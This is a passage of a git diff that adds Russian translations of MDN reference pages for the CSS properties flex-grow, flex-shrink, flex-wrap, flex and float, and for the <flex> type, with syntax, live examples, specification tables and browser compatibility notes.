+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>6.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>28.0<sup>[1]</sup></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>7.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В дополенение к безпрефиксной поддержке, Gecko 48.0 {{geckoRelease("48.0")}} добавило поддержку для <code>-webkit</code> префиксной версии свойства для веб для веб совместимости, для тех кто не изменял значение своих настроек <code>layout.css.prefixes.webkit</code>,  по-умолчанию <code>false</code>. Поскольку Gecko 49.0 {{geckoRelease("49.0")}} предпочтительное значение по-умолчанию <code>true</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html
new file mode 100644
index 0000000000..ee742c94f2
--- /dev/null
+++ b/files/ru/web/css/flex-grow/index.html
@@ -0,0 +1,137 @@
+---
+title: flex-grow
+slug: Web/CSS/flex-grow
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - CSS-свойство
+  - NeedsContent
+  - Reference
+translation_of: Web/CSS/flex-grow
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»).</span> Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.</p>
+
+<p>На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-grow.html")}}</div>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Значения типа &lt;number&gt;*/
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Глобальные значения */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+</pre>
+
+<p>Свойство <code>flex-grow</code> указывается одним числом — значением типа <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow$edit#%3Cnumber%3E">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>См. {{cssxref("&lt;number&gt;")}}. Отрицательные значения недопустимы. По умолчанию 0.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;Это — Flex-Grow&lt;/h4&gt;
+&lt;h5&gt;A,B,C и F имеют коэффициент увеличения flex-grow:1, а D и E — flex-grow:2 .&lt;/h5&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+  &lt;div class="box" style="background-color:brown;"&gt;F&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  -ms-box-orient: horizontal;
+  display: -webkit-box;
+  display: -moz-box;
+  display: -ms-flexbox;
+  display: -moz-flex;
+  display: -webkit-flex;
+  display: flex;
+
+  -webkit-justify-content: space-around;
+  justify-content: space-around;
+  -webkit-flex-flow: row wrap;
+  flex-flow: row wrap;
+  -webkit-align-items: stretch;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', '700px', '300px', '', 'Web/CSS/flex-grow')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox','#flex-grow','flex-grow')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Первичное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Руководство по CSS Flexbox: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>Руководство по CSS Flexbox: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li><a href="https://css-tricks.com/flex-grow-is-weird/">`flex-grow` is weird. Or is it?</a> статья Мануэля Матузовича (Manuel Matuzovic) на CSS-Tricks, которая показывает как работает flex-grow</li>
+</ul>
diff --git a/files/ru/web/css/flex-shrink/index.html b/files/ru/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..becc94cfd7
--- /dev/null
+++ b/files/ru/web/css/flex-shrink/index.html
@@ -0,0 +1,112 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-shrink</code></strong> — свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a>, которое определяет фактор сжатия flex-элемента. Flex-элементы будут заполнять контейнер в зависимости от значения <code>flex-shrink</code>, когда стандартная ширина flex-элементов шире, чем flex-контейнер.</p>
+
+<p>flex-shrink используется вместе со свойствами flex {{cssxref("flex-grow")}} и {{cssxref("flex-basis")}}. Обычно определяется с помощью сокращения {{cssxref("flex")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; значения */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Глобальное значение */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p><code>flex-shrink</code> свойство определятся одним <code><a href="#&lt;number>">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Смотри {{cssxref("&lt;number&gt;")}}. Отрицательные значения не валидны.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;Ширина контента 500px; flex-basis для flex элементов 120px.&lt;/p&gt;
+&lt;p&gt;A, B, C имеют flex-shrink:1 значение. А у D и E - flex-shrink:2&lt;/p&gt;
+&lt;p&gt;Ширина D и E меньше других.&lt;/p&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Пример', '500px', '300px', '', 'Web/CSS/flex-shrink') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
+
+<p><nobr></nobr></p>
diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html
new file mode 100644
index 0000000000..11724a35cb
--- /dev/null
+++ b/files/ru/web/css/flex-wrap/index.html
@@ -0,0 +1,147 @@
+---
+title: flex-wrap
+slug: Web/CSS/flex-wrap
+translation_of: Web/CSS/flex-wrap
+---
+<div>{{ CSSRef}}</div>
+
+<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задает правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.</p>
+
+<pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap;
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<p>Подробнее по свойствам и общей информации смотрите <a href="/en/CSS/Using_CSS_flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Свойство <code>flex-wrap</code> может содержать одно из следующих ниже значений.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Допускаются следующие значения:</p>
+
+<dl>
+ <dt><code>nowrap</code></dt>
+ <dd>Расположение в одну линию, может привести к переполнению контейнера. Свойство <strong>cross-start</strong> эквивалентно <strong>start</strong> или <strong>before</strong> в зависимости от значения {{cssxref("flex-direction")}}.</dd>
+ <dt><code>wrap</code></dt>
+ <dd>Расположение в несколько линий. Свойство <strong>cross-start</strong> эквивалентно <strong>start</strong> или <strong>before</strong> в зависимости отзначения <code>flex-direction</code> и свойство <strong>cross-end</strong> противоположно <strong>cross-start</strong>.</dd>
+ <dt><code>wrap-reverse</code></dt>
+ <dd>Ведёт себя так же, как и <code>wrap</code> но <strong>cross-start</strong> и <strong>cross-end</strong> инвертированы.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html notranslate">&lt;h4&gt;This is an example for flex-wrap:wrap &lt;/h4&gt;
+&lt;div class="content"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:nowrap &lt;/h4&gt;
+&lt;div class="content1"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:wrap-reverse &lt;/h4&gt;
+&lt;div class="content2"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">/* Common Styles */
+.content,
+.content1,
+.content2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+    display: flex;
+    flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+</pre>
+</div>
+
+<h3 id="Results">Results</h3>
+
+<p>{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("css.properties.flex-wrap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html
new file mode 100644
index 0000000000..c91553c0b1
--- /dev/null
+++ b/files/ru/web/css/flex/index.html
@@ -0,0 +1,201 @@
+---
+title: flex
+slug: Web/CSS/flex
+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong> - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращенное свойство</a>, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Для более полной информации читайте <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Использование flex-контейнеров CSS</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css">/* 0 0 auto */
+flex: none;
+
+/* Одно значение, число без единиц: flex-grow */
+flex: 2;
+
+/* Одно значение, ширина/высота: flex-basis */
+flex: 10em;
+flex: 30px;
+flex: auto;
+flex: content;
+
+/* Два значения: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Два значения: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Три значения: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Глобальные значения */
+flex: inherit;
+flex: initial;
+flex: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>&lt;'flex-grow'&gt;</code></dt>
+ <dd>Определяет <code>{{cssxref("flex-grow")}}</code> для флекс элемента. Смотри {{cssxref("&lt;number&gt;")}} для большей информации. Негативные значения считаются недействительными. Значение по умолчанию  <code>0</code>, если не указано.</dd>
+ <dt><code>&lt;'flex-shrink'&gt;</code></dt>
+ <dd>Определяет <code>{{cssxref("flex-shrink")}}</code> для флекс элемента. Смотри {{cssxref("&lt;number&gt;")}} для большей информации. Негативные значения считаются недействительными. Значение по умолчанию  <code>1</code>, если не указано.</dd>
+ <dt><code>&lt;'flex-basis'&gt;</code></dt>
+ <dd>Определяет <code>{{cssxref("flex-basis")}}</code> для флекс элемента. Любое корректное значение для высоты(height) и ширины(width) - корректно и для данного свойства. Предпочтительный размер 0 должен иметь единицу измерения, чтобы не восприниматься как гибкий. Значение по умолчанию  <code>0%</code>, если не указано.</dd>
+ <dt><code>none</code></dt>
+ <dd>Размер элемента устанавливается в соответствии с его свойствами <code>width</code> и <code>height</code>. Он полностью негибкий: не сжимается и не увеличивается по отношению к гибкому контейнеру. Эквивалентно значению "<code>flex: 0 0 auto</code>".</dd>
+ <dt>
+ <h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css">#flex-container {
+	display: -webkit-flex;
+	display: flex;
+	-webkit-flex-direction: row;
+	flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+	-webkit-flex: auto;
+	flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+	width: 5rem;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="flex-container"&gt;
+    &lt;div class="flex-item" id="flex"&gt;Flex box (click to toggle raw box)&lt;/div&gt;
+    &lt;div class="raw-item" id="raw"&gt;Raw box&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+	raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css">#flex-container {
+	width: 100%;
+	font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+	border: 1px solid #f00;
+	padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+	border: 1px solid #000;
+}
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80','100%','60')}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex', 'flex')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("18.0")}} (behind a pref) <sup><a href="#bc1">[1]</a> <a href="#bc2">[2]</a></sup><br>
+    {{CompatGeckoDesktop("20.0")}} <sup><a href="#bc2">[2]</a><a href="#bc3">[3]</a></sup></td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>10.0{{property_prefix("-ms")}} <sup><a href="#flexbug8">[3]</a></sup><sup><a href="#flexbug4">[4]</a></sup><br>
+    11.0 <sup><a href="#flexbug8">[3]</a></sup><sup><a href="#flexbug4">[4]</a></sup></td>
+   <td>12.10</td>
+   <td>6.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>4.4</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>7.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><sup><a name="bc1">[1]</a></sup>  Для активации flexbox для Firefox 18 и 19 пользователю неободимо внести следующее изменение:<br>
+ свойство конфигурации "layout.css.flexbox.enabled" в<code>true</code>.</p>
+
+<p><sup><a name="bc2">[2]</a></sup> Multi-line flexbox поддерживается Firefox 28.</p>
+
+<p><sup><a name="flexbug8">[3]</a></sup> Internet Explorer 10-11 (кроме 12+) игонорируют использование <a href="/en-US/docs/Web/CSS/calc"><code>calc()</code></a> во flex-basis части <code>flex</code> синтаксиса. Это можно обойти, используя свойства longhand вместо сокращения. Дополнительную информацию см. В <a href="https://github.com/philipwalton/flexbugs#8-flex-shorthand-doesnt-support-calc">Flexbug # 8</a>.</p>
+
+<p><sup><a name="flexbug4">[4]</a></sup> В Internet Explorer 10-11 (кроме 12+),  объявление <code>flex</code> без единичного значения в его <em>flex-basis</em> части считается синтаксически недействительным и поэтому игнорируется. Обходной путь состоит в том, чтобы всегда включать единицу в <em>flex-basis </em>часть <code>flex</code> . Дополнительную информацию см. В <a href="https://github.com/philipwalton/flexbugs#4-flex-shorthand-declarations-with-unitless-flex-basis-values-are-ignored">Flexbug #4</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/ru/web/css/flex_value/index.html b/files/ru/web/css/flex_value/index.html
new file mode 100644
index 0000000000..c43a75c0cc
--- /dev/null
+++ b/files/ru/web/css/flex_value/index.html
@@ -0,0 +1,49 @@
+---
+title: <flex>
+slug: Web/CSS/flex_value
+translation_of: Web/CSS/flex_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/CSS_Types">тип данных</a> <strong><code>&lt;flex&gt;</code></strong> определеяет гибкую длину в сеточном контейнере. Он используется в таких свойствах, как {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;flex&gt;</code> определяется как {{cssxref("&lt;number&gt;")}} с единицей измерения <a id="fr" name="fr"><code>fr</code></a>. Единица измерения <code>fr</code> представляет собой долю оставшегося в сетке пространства. Как и все CSS размеры, между числом и единицей измерения нет пробела.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">1fr    /* Целочисленное значение */
+2.5fr  /* Дробное значение */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#typedef-flex", "&lt;flex&gt;")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.types.flex")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+</ul>
diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html
new file mode 100644
index 0000000000..ff10399e59
--- /dev/null
+++ b/files/ru/web/css/float/index.html
@@ -0,0 +1,244 @@
+---
+title: float
+slug: Web/CSS/float
+translation_of: Web/CSS/float
+---
+<div>Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>CSS свойство <code>float</code> указывает, что текущий элемент должен быть изъят из обычного flow (потока) и прижат к левой или правой стороне родительского элемента. Текст и inline элементы будут обтекать такой элемент.</p>
+
+<p><strong>Плавающий элемент</strong> - это любой элемент со свойством <code>float</code> отличным от <code>none</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Поскольку <code>float</code> подразумевает использование блочной модели, это свойство изменяет вычисляемые значения {{cssxref("display")}} в следующих случаях:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specified value</th>
+   <th scope="col">Computed value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>inline</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-block</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-table</code></td>
+   <td><code>table</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-cell</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-caption</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-header-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-footer-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>flex</code></td>
+   <td><code>flex</code>, <code>float</code> не оказывает влияния на такие элементы</td>
+  </tr>
+  <tr>
+   <td><code>inline-flex</code></td>
+   <td><code>inline-flex</code>, <code>float</code> не оказывает влияния на такие элементы</td>
+  </tr>
+  <tr>
+   <td><em>other</em></td>
+   <td><em>не меняются</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>Note: </strong>If you're referring to this property from JavaScript as a member of the {{domxref("element.style")}} object, you must spell it as <code>cssFloat</code>. Also note that Internet Explorer versions 8 and older spelled this <code>styleFloat</code>. This is an exception to the rule that the name of the DOM member is the camel-case name of the dash-separated CSS name (and is due to the fact that "float" is a reserved word in JavaScript, as with the need to escape "class" as "className" and escape &lt;label&gt;'s "for" as "htmlFor").</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">float: left;
+float: right;
+float: none;
+
+float: inherit;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Is a keyword indicating that the element must float on the left side of its containing block.</dd>
+ <dt><code>right</code></dt>
+ <dd>Is a keyword indicating that the element must float on the right side of its containing block.</dd>
+ <dt><code>none</code></dt>
+ <dd>Is a keyword indicating that the element must not float.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax("float")}}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p><a href="/samples/cssref/float.html">Посмотреть живые примеры</a></p>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+  div { border: solid red;  max-width: 70ex; }
+  h4  { float: left;  margin: 0; }
+&lt;/style&gt;
+
+&lt;div&gt;
+  &lt;h4&gt;HELLO!&lt;/h4&gt;
